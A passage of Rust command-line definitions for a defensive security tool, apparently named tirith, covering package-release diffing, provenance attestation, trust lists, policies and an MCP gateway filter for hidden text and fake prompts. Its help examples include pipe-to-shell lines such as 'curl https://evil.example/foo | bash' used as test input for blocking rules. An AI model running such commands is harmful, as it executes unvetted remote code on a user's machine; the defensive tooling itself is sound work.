        #[arg(long, conflicts_with = "json")]
        dot: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Release differential: compare an OLD wheel against a NEW wheel of the same
    /// distribution and flag the execution-shape changes that mark a benign release
    /// turning malicious. Local-artifact-only; warns (never auto-blocks) on an
    /// anomaly, so a strict policy can escalate it.
    #[command(after_help = "\
What it flags:
  A pure-Python release that now ships a compiled extension, a release that newly
  carries an interpreter-startup hook, a release that now bundles a multi-megabyte
  JavaScript payload, a changed distribution identity, or a newly-gained execution
  capability (a startup or native subprocess spawn, a network or runtime download,
  a native execution entry) the prior release did not have. Each is a heuristic
  delta, so it warns; the conclusive cases are caught at block strength by
  inspecting the new wheel directly. No registry or network access.

Examples:
  tirith pkg diff requests-2.31.0-py3-none-any.whl requests-2.32.0-py3-none-any.whl
  tirith pkg diff old.whl new.whl --json")]
    Diff {
        /// The OLD (prior) wheel artifact.
        #[arg(value_name = "OLD_WHEEL")]
        old: std::path::PathBuf,
        /// The NEW (candidate) wheel artifact.
        #[arg(value_name = "NEW_WHEEL")]
        new: std::path::PathBuf,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Fetch a wheel's PyPI publish provenance (the Integrity API attestation),
    /// bind the attested subject digest to the wheel's SHA-256, and report the
    /// outcome. Provenance EVIDENCE only: it never blocks and is never an
    /// auto-allow; the install verdict is over the bytes, not the attestation.
    #[command(after_help = "\
What it does:
  Inspects the wheel for its exact PyPI identity + SHA-256, fetches its publish
  provenance from the PyPI Integrity API, and binds the attestation's in-toto
  subject digest to the wheel's hash. A digest that covers DIFFERENT bytes is a
  subject mismatch (an artifact-swap / stale-attestation tell, caught structurally).
  Cryptographic Sigstore verification + a publisher-identity policy check run only
  with the (MSRV-gated) `sigstore-attestations` feature; without it the outcome is
  'verification-unavailable' (fetched and bound, but not verified), never 'verified'.
  A missing or invalid attestation is evidence a reviewer reads, not a block.

Examples:
  tirith pkg attest requests-2.31.0-py3-none-any.whl
  tirith pkg attest demo-1.0-py3-none-any.whl --json")]
    Attest {
        /// The wheel artifact to fetch + bind provenance for.
        #[arg(value_name = "WHEEL")]
        wheel: std::path::PathBuf,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Ask the project's OWN npm to verify its installed packages' registry
    /// signatures and provenance attestations, and bind the answer to the exact
    /// package-lock.json, the installed node_modules inventory, and both the
    /// lockfile's registry hosts and the ones npm itself reported. Emits a
    /// content-addressed, signed receipt.
    #[command(
        name = "attest-npm",
        after_help = "\
What it does:
  Resolves npm through tirith's trusted-executable mechanism (no shell, so an
  alias cannot hijack the name), discovers npm's exact version, and only then
  looks that version up in a CLOSED, fixture-backed contract table. The table
  maps a supported npm version range to one exact argv, its expected JSON
  schema, and how to read the result. An npm outside the table returns partial
  with an unsupported-version reason and runs NO audit command: tirith never
  hands a speculative flag to an npm whose output shape it has not
  characterized.

  The audit runs without a shell, with a 120 second timeout and 8 MiB stdout /
  stderr caps, and its stderr is redacted before it reaches the receipt. Offline
  mode returns partial without resolving or spawning anything. On Windows npm is
  a batch launcher (npm.cmd) that the trusted-executable validator refuses, so
  Windows returns partial rather than pretending.

  Public mode is hermetic: it pins https://registry.npmjs.org/, strict TLS, a
  direct connection, isolated empty user/global npm config, and an isolated
  cache. Ambient HOME, npm config, auth, and proxy state do not reach the child.
  Because npm reads the project's own .npmrc above those files, any effective
  project setting returns partial and runs NO audit command.

  A private registry is used only with TIRITH_NPM_AUDIT_MODE=trusted-private
  plus an HTTPS TIRITH_NPM_REGISTRY and an absolute owner-only credential file
  in TIRITH_NPM_AUTH_SOURCE. Optional TIRITH_NPM_CA_FILE and TIRITH_NPM_PROXY
  are validated and bound too. Credentials are snapshotted for the child but
  never stored in the receipt; npm and Node executable digests are recorded.

What a clean receipt means:
  npm's own registry signature check passed. It is NOT a statement that the
  package code is benign, and tirith has not downloaded, inspected, or bound the
  tarball bytes npm will install. npm performs its own registry network I/O,
  outside tirith's fetch validator and capsule broker.

  npm's JSON enumerates invalid, missing, and explicitly attested packages.
  Absence from all three buckets is never positive evidence: a package without
  explicit audit membership is not-audited, which is partial.

Exit codes (deliberately distinct from `tirith check`, which uses 3 for a warn
acknowledgement; per-command codes in tirith are not shared):
  0  clean     every eligible package carried a verified registry signature
  1  mismatch  a signature, attestation, or attested subject digest FAILED
  2  usage     bad --project, an unwritable --out, or a broken JSON write
  3  partial   old npm, offline, unsupported platform, a project .npmrc that
               reconfigures the audit, network or parse failure, missing install
               tree, an unsupported dependency source, an installed package with
               no lockfile entry, or a package npm's report does not cover

Examples:
  tirith pkg attest-npm --project .
  tirith pkg attest-npm --project . --require-provenance
  tirith pkg attest-npm --out npm-provenance.receipt.json --format json"
    )]
    AttestNpm {
        /// The project directory holding package-lock.json and node_modules
        /// (default: the repository root, else the working directory).
        #[arg(long)]
        project: Option<std::path::PathBuf>,
        /// Also write the receipt to this path (atomic, mode 0600).
        #[arg(long)]
        out: Option<std::path::PathBuf>,
        /// Require a verified provenance attestation for every eligible
        /// package, not merely a registry signature.
        #[arg(long)]
        require_provenance: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// List or show the package-firewall tamper-evident receipts.
    #[command(after_help = "\
Examples:
  tirith pkg receipt list
  tirith pkg receipt last
  tirith pkg receipt show <receipt-id>")]
    Receipt {
        #[command(subcommand)]
        query: PkgReceiptQuery,
    },
}

#[derive(Subcommand)]
enum PkgReceiptQuery {
    /// List all artifact-scan receipts (newest first).
    List {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Show the newest artifact-scan receipt.
    Last {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Show one receipt by its id (content hash).
    Show {
        /// The receipt id (64-char content hash).
        receipt_id: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum ReceiptAction {
    /// Show the last receipt
    #[command(after_help = "\
Examples:
  tirith receipt last")]
    Last {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// List all receipts
    #[command(after_help = "\
Examples:
  tirith receipt list")]
    List {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Verify a receipt by SHA256
    #[command(after_help = "\
Examples:
  tirith receipt verify a1b2c3d4e5f6")]
    Verify {
        sha256: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum CheckpointAction {
    /// Create a checkpoint of specified paths
    #[command(after_help = "\
Examples:
  tirith checkpoint create src/ Cargo.toml")]
    Create {
        /// Paths to checkpoint
        paths: Vec<String>,
        /// Command that triggered the checkpoint
        #[arg(long)]
        trigger: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// List all checkpoints
    #[command(after_help = "\
Examples:
  tirith checkpoint list")]
    List {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Restore files from a checkpoint
    #[command(after_help = "\
Examples:
  tirith checkpoint restore <id>")]
    Restore {
        /// Checkpoint ID
        id: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Show differences between checkpoint and current state
    #[command(after_help = "\
Examples:
  tirith checkpoint diff <id>")]
    Diff {
        /// Checkpoint ID
        id: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Remove old checkpoints based on age/count/size limits
    #[command(after_help = "\
Examples:
  tirith checkpoint purge")]
    Purge {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Snapshot, run a command, then diff (post-run blast-radius). Same impl as
    /// the top-level `tirith watch`.
    #[command(after_help = WATCH_AFTER_HELP)]
    Watch {
        /// Extra paths to snapshot for file changes, in addition to the current
        /// directory. Repeat the flag for multiple paths.
        #[arg(long = "paths")]
        paths: Vec<String>,

        /// EXPERIMENTAL, off by default: emit best-effort network hints from a
        /// resolver-cache / log mtime delta. May miss QUIC/UDP/direct-IP
        /// entirely; NOT a network monitor and not a security boundary.
        #[arg(long)]
        with_net_hints: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// The command to run and watch (everything after `--`)
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        command: Vec<String>,
    },
}

#[derive(Subcommand)]
enum GatewayAction {
    /// Run the gateway proxy
    #[command(after_help = "\
Examples:
  tirith gateway run --upstream-bin npx --upstream-arg @modelcontextprotocol/server-filesystem --config gateway.yaml
  tirith gateway run --filter-output --upstream-bin npx --upstream-arg @modelcontextprotocol/server-filesystem --config gateway.yaml

`--filter-output` (M7 ch4) routes every guarded-tool response's
`result.content` through the output-direction analyzer before it reaches the
client. Blocks on OSC52 / hyperlink-mismatch / hidden-text / fake-prompt with
a sanitized placeholder citing the audit event_id. Opt-in until
field-tested.")]
    Run {
        /// Path to upstream MCP server binary
        #[arg(long)]
        upstream_bin: String,

        /// Arguments to pass to upstream binary
        #[arg(long)]
        upstream_arg: Vec<String>,

        /// Path to gateway config YAML
        #[arg(long)]
        config: String,

        /// Route every guarded-tool response's `result.content` through the
        /// M7 output-direction analyzer. Blocks on dangerous escape sequences
        /// (OSC52 clipboard write, OSC0/2 title rewrite, screen-clear,
        /// hyperlink mismatch, hidden text, fake-prompt). Default is
        /// pass-through (current behavior).
        #[arg(long)]
        filter_output: bool,

        /// Spawn the upstream MCP server inside the OS containment capsule
        /// (deny-network, scrubbed env, resource limits, no inherited handles).
        /// Enforcing: if this host's backend cannot enforce the containment, the
        /// gateway refuses to launch the upstream rather than running it
        /// uncontained. Default is the current uncontained spawn. The `secure`
        /// gateway profile (policy `gateway_profile: secure`) requires this
        /// containment even without the flag.
        #[arg(long)]
        capsule: bool,

        /// Exact `mcp:v1:...` identity from `tirith mcp policy init` for the
        /// configured upstream. Required when approving descriptors and when a
        /// multi-server lock cannot be inferred safely.
        #[arg(long)]
        mcp_server_identity: Option<String>,

        /// Capture the first inspected/sanitized live tools/list response as the
        /// approved descriptor baseline for --mcp-server-identity, then write the
        /// lock atomically. The live command/args must exactly match that server.
        #[arg(long, requires = "mcp_server_identity")]
        approve_descriptors: bool,
    },
    /// Validate gateway config file
    #[command(after_help = "\
Examples:
  tirith gateway validate-config --config gateway.yaml")]
    ValidateConfig {
        /// Path to gateway config YAML
        #[arg(long)]
        config: String,
    },
}

#[derive(Subcommand)]
enum PolicyAction {
    /// Generate a starter policy file
    #[command(after_help = "\
Examples:
  tirith policy init
  tirith policy init --force
  tirith policy init --template individual
  tirith policy init --template ci-strict
  tirith policy init --template ai-agent-heavy
  tirith policy init --template oss-maintainer
  tirith policy init --template startup
  tirith policy init --template enterprise
  tirith policy init --template mcp-strict

Templates:
  individual      sensible defaults for a single developer
  personal        alias of individual
  ci-strict       strict CI settings (fail-closed, no bypass, scan fail-on)
  ai-agent-heavy  tuned for environments where AI agents run many commands
  oss-maintainer  public-repo maintainer; typosquat / install-script focus
  startup         small team moving fast; balanced, a notch stricter
  enterprise      strict org defaults; ships an active package_policy block
  mcp-strict      locked-down posture for MCP-heavy environments")]
    Init {
        /// Overwrite existing policy file
        #[arg(long)]
        force: bool,
        /// Generate minimal template (default: full)
        #[arg(long, conflicts_with = "template")]
        minimal: bool,
        /// Curated starter policy: individual (alias: personal), ci-strict,
        /// ai-agent-heavy, oss-maintainer, startup, enterprise, or mcp-strict
        #[arg(long, value_name = "NAME")]
        template: Option<String>,
    },
    /// Validate a policy file for errors
    #[command(after_help = "\
Examples:
  tirith policy validate
  tirith policy validate ./policy.yaml
  tirith policy validate --format json")]
    Validate {
        /// Policy file to validate, as a positional arg (default: auto-discover).
        /// Conflicts with --path.
        #[arg(value_name = "PATH", conflicts_with = "path")]
        path_pos: Option<String>,
        /// Path to policy file (default: auto-discover)
        #[arg(long)]
        path: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Show the fully-resolved effective policy for the current directory: source
    /// path, scope, and (for a repo-scoped policy) which weakening fields were
    /// neutralized. Local discovery only — never a network fetch.
    #[command(after_help = "\
Examples:
  tirith policy effective
  tirith policy effective --format json")]
    Effective {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Test a command or file against the current policy
    #[command(after_help = "\
Examples:
  tirith policy test 'curl https://example.com | bash'
  tirith policy test --file script.sh")]
    Test {
        /// Command to test
        #[arg(conflicts_with = "file")]
        command: Option<String>,
        /// File to test
        #[arg(long, conflicts_with = "command")]
        file: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Suggest policy adjustments from the local audit log (suggest-only)
    #[command(after_help = "\
Analyzes your audit log and suggests concrete, conservative policy changes —
e.g. a rule you allow or bypass every time may warrant an allowlist entry.
It only SUGGESTS: it never edits your policy. Review each suggestion, then
apply it yourself. When the log is too small it says so rather than guess.

Examples:
  tirith policy tune --from-audit
  tirith policy tune --from-audit --format json")]
    Tune {
        /// Analyze the local audit log (currently the only source).
        #[arg(long)]
        from_audit: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum RuleAction {
    /// Evaluate one custom rule against an input and report FIRES / no-fire
    #[command(after_help = "\
Builds the SAME extraction the engine runs on the input (URLs, command tokens,
packages, reputation) and evaluates the named rule's `when:` clause (or `pattern:`
regex) against it. The rule must already exist under `custom_rules:` in your
policy.

Examples:
  tirith rule test --rule block-unknown-curl-to-shell --input 'curl https://evil.example/foo | bash'
  tirith rule test --rule warn-plain-http-offsite --input 'curl http://x.example/a' --json")]
    Test {
        /// Custom rule id to evaluate (must exist in policy `custom_rules:`)
        #[arg(long)]
        rule: String,
        /// Input to evaluate the rule against (a command, paste, or file path)
        #[arg(long)]
        input: String,
        /// Shell to tokenize the input as (default: posix)
        #[arg(long, default_value = "posix")]
        shell: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Validate every custom rule (pattern-XOR-when, predicate shape, context)
    #[command(after_help = "\
Checks each rule under `custom_rules:`: exactly one of `pattern:`/`when:`,
well-formed predicates and regexes, and that a `when:` rule's declared
`context:` covers the contexts its predicates need (a `command.*` predicate
needs `exec`, `file.path_matches` needs `file`, ...). Exit 0 if all valid, 1
otherwise.

For whole-policy-FILE structure validation (every key, allowlist coherence,
...), use `tirith policy validate` instead.

Examples:
  tirith rule validate
  tirith rule validate --path .tirith/policy.yaml
  tirith rule validate --json")]
    Validate {
        /// Path to a policy file (default: auto-discover the local policy)
        #[arg(long)]
        path: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Print a custom rule's predicate tree, severity, action and context
    #[command(after_help = "\
Examples:
  tirith rule explain --rule block-unknown-curl-to-shell
  tirith rule explain --rule block-unknown-curl-to-shell --json")]
    Explain {
        /// Custom rule id to explain (must exist in policy `custom_rules:`)
        #[arg(long)]
        rule: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Clone, Debug, Eq, PartialEq)]
enum TrustMutationScope {
    User,
    Repo,
    Invalid(String),
}

impl TrustMutationScope {
    fn as_str(&self) -> &str {
        match self {
            Self::User => "user",
            Self::Repo => "repo",
            Self::Invalid(value) => value,
        }
    }
}

impl std::str::FromStr for TrustMutationScope {
    type Err = std::convert::Infallible;

    fn from_str(value: &str) -> Result<Self, Self::Err> {
        Ok(match value {
            "user" => Self::User,
            "repo" => Self::Repo,
            // Keep parsing infallible so Clap never reflects the raw,
            // attacker-controlled invalid value in its own error renderer. The
            // trust command's library-level scope check remains fail closed and
            // prints this sanitized value at its final human-output sink.
            other => Self::Invalid(cli::sanitize_for_human_output(other, false)),
        })
    }
}

#[derive(Clone, Debug, Eq, PartialEq)]
enum TrustQueryScope {
    User,
    Repo,
    All,
    Invalid(String),
}

impl TrustQueryScope {
    fn as_str(&self) -> &str {
        match self {
            Self::User => "user",
            Self::Repo => "repo",
            Self::All => "all",
            Self::Invalid(value) => value,
        }
    }
}

impl std::str::FromStr for TrustQueryScope {
    type Err = std::convert::Infallible;

    fn from_str(value: &str) -> Result<Self, Self::Err> {
        Ok(match value {
            "user" => Self::User,
            "repo" => Self::Repo,
            "all" => Self::All,
            // See `TrustMutationScope::from_str`: unknown values must reach
            // Tirith's sanitized, fail-closed sink rather than Clap's raw
            // invalid-value output.
            other => Self::Invalid(cli::sanitize_for_human_output(other, false)),
        })
    }
}

#[derive(Subcommand)]
enum TrustAction {
    /// Add a trusted pattern (narrow scope and a 30d TTL by default)
    #[command(after_help = "\
Trust the narrowest thing that works. A specific URL or path is accepted as-is;
a whole domain, wildcard, or bare TLD is broad and requires --broad. Entries
expire after 30d unless you pass --permanent or your own --ttl.

Examples:
  tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
  tirith trust add example.com --broad --ttl 7d
  tirith trust add example.com --broad --rule pipe_to_interpreter --permanent
  tirith trust add example.com --broad --reason \"internal mirror, ticket OPS-42\"")]
    Add {
        /// Pattern to trust (a specific URL/path, or a domain with --broad)
        pattern: String,
        /// Scope trust to a specific rule ID (narrower than a global trust)
        #[arg(long)]
        rule: Option<String>,
        /// TTL duration (e.g., 1h, 7d, 30d). Default: 30d. Conflicts with --permanent
        #[arg(long, conflicts_with = "permanent")]
        ttl: Option<String>,
        /// Never expire this entry (opt out of the default TTL)
        #[arg(long)]
        permanent: bool,
        /// Accept a broad pattern (whole domain, wildcard, or bare TLD)
        #[arg(long)]
        broad: bool,
        /// Free-text reason recorded with the entry (shown by `trust explain`)
        #[arg(long)]
        reason: Option<String>,
        /// Scope: user (default) or repo
        #[arg(
            long,
            value_parser = clap::value_parser!(TrustMutationScope),
            value_name = "user|repo",
            default_value = "user"
        )]
        scope: TrustMutationScope,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// List trusted patterns from all sources, with scope visualization
    #[command(after_help = "\
Each row shows the entry's scope class (exact / substring / domain / wildcard /
bare-TLD); a '!' marks a dangerously broad entry.

Examples:
  tirith trust list
  tirith trust list --format json --expired")]
    List {
        /// Filter by rule ID
        #[arg(long)]
        rule: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
        /// Include expired entries
        #[arg(long)]
        expired: bool,
        /// Scope: user, repo, or all (default)
        #[arg(
            long,
            value_parser = clap::value_parser!(TrustQueryScope),
            value_name = "user|repo|all",
            default_value = "all"
        )]
        scope: TrustQueryScope,
    },
    /// Explain a trust entry: scope, coverage, expiry, and why it was added
    #[command(after_help = "\
Examples:
  tirith trust explain example.com
  tirith trust explain example.com --format json")]
    Explain {
        /// Pattern of the entry to explain
        pattern: String,
        /// Scope: user, repo, or all (default)
        #[arg(
            long,
            value_parser = clap::value_parser!(TrustQueryScope),
            value_name = "user|repo|all",
            default_value = "all"
        )]
        scope: TrustQueryScope,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Show what changed in the trust set since the last snapshot
    #[command(after_help = "\
Examples:
  tirith trust diff
  tirith trust diff --format json")]
    Diff {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Remove a trusted pattern
    #[command(after_help = "\
Examples:
  tirith trust remove example.com")]
    Remove {
        /// Pattern to remove
        pattern: String,
        /// Only remove entries scoped to this rule ID
        #[arg(long)]
        rule: Option<String>,
        /// Scope: user (default) or repo
        #[arg(
            long,
            value_parser = clap::value_parser!(TrustMutationScope),
            value_name = "user|repo",
            default_value = "user"
        )]
        scope: TrustMutationScope,
    },
    /// Show last trigger and interactively trust domains
    #[command(after_help = "\
Examples:
  tirith trust last")]
    Last,
    /// Print ready-to-run `trust add` commands for the most recent blocked finding
    /// (from the last-trigger record). Suggest-only by default; --apply runs them.
    #[command(after_help = "\
Examples:
  tirith trust from-last-trigger
  tirith trust from-last-trigger --apply")]
    FromLastTrigger {
        /// Add the trust entries instead of just printing the commands.
        #[arg(long)]
        apply: bool,
    },
    /// Garbage-collect expired entries from trust stores
    #[command(after_help = "\
Examples:
  tirith trust gc --expired
  tirith trust gc --expired --scope user")]
    Gc {
        /// Collect expired entries — currently the only collection mode, so
        /// this flag is optional
        #[arg(long)]
        expired: bool,
        /// Scope: user, repo, or all (default)
        #[arg(
            long,
            value_parser = clap::value_parser!(TrustQueryScope),
            value_name = "user|repo|all",
            default_value = "all"
        )]
        scope: TrustQueryScope,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Prune expired trust entries (alias for `gc`).
    ///
    /// `prune` is the spec-named CLI surface for the M6 garbage-collection
    /// flow; `gc` is the shipping name kept as the canonical short form.
    /// Both invoke the same backing function in `cli::trust::gc`.
    #[command(after_help = "\
Examples:
  tirith trust prune --expired
  tirith trust prune --expired --scope user")]
    Prune {
        /// Collect expired entries — currently the only collection mode.
        #[arg(long)]
        expired: bool,
        /// Scope: user, repo, or all (default)
        #[arg(
            long,
            value_parser = clap::value_parser!(TrustQueryScope),
            value_name = "user|repo|all",
            default_value = "all"
        )]
        scope: TrustQueryScope,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Show the audit log of trust-store mutations (add / remove / gc / prune).
    ///
    /// Reads audit-log JSONL entries with `entry_type == "trust_change"`,
    /// optionally filtered by a relative time window (`--since 7d`).
    #[command(after_help = "\
Examples:
  tirith trust audit
  tirith trust audit --since 7d
  tirith trust audit --format json --since 30d")]
    Audit {
        /// Show mutations within the last N days/hours/minutes (e.g. `7d`,
        /// `24h`, `15m`). Without this flag, the full audit history is shown.
        #[arg(long)]
        since: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum DaemonAction {
    /// Start the daemon (foreground by default; --detach backgrounds it)
    #[command(after_help = "\
Examples:
  tirith daemon start            # foreground (blocks; run under a supervisor)
  tirith daemon start --detach   # background; returns once the socket is up")]
    Start {
        /// Run in the background: re-spawn detached, verify the socket comes up,
        /// then return. Default is foreground.
        #[arg(long, short = 'd')]
        detach: bool,
    },
    /// Stop a running daemon
    #[command(after_help = "\
Examples:
  tirith daemon stop")]
    Stop,
    /// Check if daemon is running and measure latency
    #[command(after_help = "\
Examples:
  tirith daemon status")]
    Status,
}

#[derive(Clone, Copy, Debug, Default, clap::ValueEnum)]
enum AuditExportFormat {
    #[default]
    Json,
    Csv,
}

#[derive(Clone, Copy, Debug, Default, clap::ValueEnum)]
enum AuditReportFormat {
    #[default]
    Markdown,
    Json,
    Html,
}

#[derive(Subcommand)]
enum PackageAction {
    /// Score a package's provenance / maintainer risk
    #[command(after_help = "\
Examples:
  tirith package risk npm react
  tirith package risk pypi reqeusts
  tirith package risk npm left-pad --path ./node_modules/left-pad
  tirith package risk --online npm express
  tirith package risk --format json npm express

Offline by default: name and local-content signals only, no network. Add
--online to also consult the registry API (npm / PyPI / crates.io) for
provenance signals — package age, ownership transfer, version spike, download
counts, source-repo URL, yanked/deprecated status. --online is ignored when
--offline or TIRITH_OFFLINE is set, and a registry failure degrades gracefully
to the offline score.")]
    Risk {
        /// Package ecosystem: npm, pypi, rubygems, crates.io, go, maven, nuget, packagist
        ecosystem: String,
        /// Package name
        name: String,
        /// Inspect locally-available package content at this directory for
        /// install-script and binary-blob signals. tirith never downloads the
        /// package; without this flag it tries to auto-discover the package
        /// under node_modules / site-packages relative to the current dir.
        #[arg(long)]
        path: Option<String>,
        /// Also consult the package's registry API (npm / PyPI / crates.io)
        /// for provenance signals. Off by default — this is the only path on
        /// which `package risk` reaches the network. Ignored when --offline
        /// or TIRITH_OFFLINE is set; a registry failure degrades gracefully.
        #[arg(long)]
        online: bool,
        /// Force offline scoring even if --online is passed. Also honored via
        /// the TIRITH_OFFLINE environment variable.
        #[arg(long)]
        offline: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Show the factor-by-factor derivation of a package's risk score
    #[command(after_help = "\
Examples:
  tirith package explain npm express
  tirith package explain pypi reqeusts
  tirith package explain --online npm express
  tirith package explain --format json npm react

Offline by default. --online adds the registry-API provenance factors (see
`tirith package risk --help`); --offline / TIRITH_OFFLINE forces offline.")]
    Explain {
        /// Package ecosystem: npm, pypi, rubygems, crates.io, go, maven, nuget, packagist
        ecosystem: String,
        /// Package name
        name: String,
        /// Inspect locally-available package content at this directory (see
        /// `package risk --path`). tirith never downloads the package.
        #[arg(long)]
        path: Option<String>,
        /// Also consult the package's registry API for provenance signals
        /// (see `tirith package risk --help`). Off by default.
        #[arg(long)]
        online: bool,
        /// Force offline scoring even if --online is passed. Also honored via
        /// the TIRITH_OFFLINE environment variable.
        #[arg(long)]
        offline: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Scan installed packages or a specific lockfile for supply-chain risk
    #[command(after_help = "\
Examples:
  tirith package scan                              (--installed against cwd)
  tirith package scan --installed
  tirith package scan --lockfile package-lock.json
  tirith package scan --installed --online
  tirith package scan --format json --installed

Spec-named CLI surface for the directory-level supply-chain scan. Thin
wrapper over `tirith ecosystem scan` — both CLIs route through the same
engine, and produce byte-identical JSON for the same cwd. --installed walks
installed trees (node_modules/, site-packages/, vendor/, Cargo.lock).
--lockfile <path> targets a specific lockfile and reuses the manifest parser.
The two are mutually exclusive; if neither is passed, --installed against cwd
is assumed.")]
    Scan {
        /// Scan installed trees (node_modules/, site-packages/, vendor/,
        /// Cargo.lock) instead of declared-dependency manifests.
        #[arg(long, conflicts_with = "lockfile")]
        installed: bool,
        /// Scan a specific lockfile. Mutually exclusive with --installed.
        #[arg(long, value_name = "PATH", conflicts_with = "installed")]
        lockfile: Option<PathBuf>,
        /// Optional project directory to scan (rarely needed — the wrapper
        /// defaults to cwd). Mutually exclusive with --lockfile.
        #[arg(long, value_name = "PATH", conflicts_with = "lockfile")]
        path: Option<PathBuf>,
        /// Also consult each package's registry API (npm / PyPI / crates.io)
        /// for provenance signals. Off by default.
        #[arg(long)]
        online: bool,
        /// Force offline scoring even if --online is passed. Also honored via
        /// the TIRITH_OFFLINE environment variable.
        #[arg(long)]
        offline: bool,
        /// Cap the installed-tree walk at N entries. 0 means unbounded.
        /// Default 5000; valid range 100-200000 (or 0).
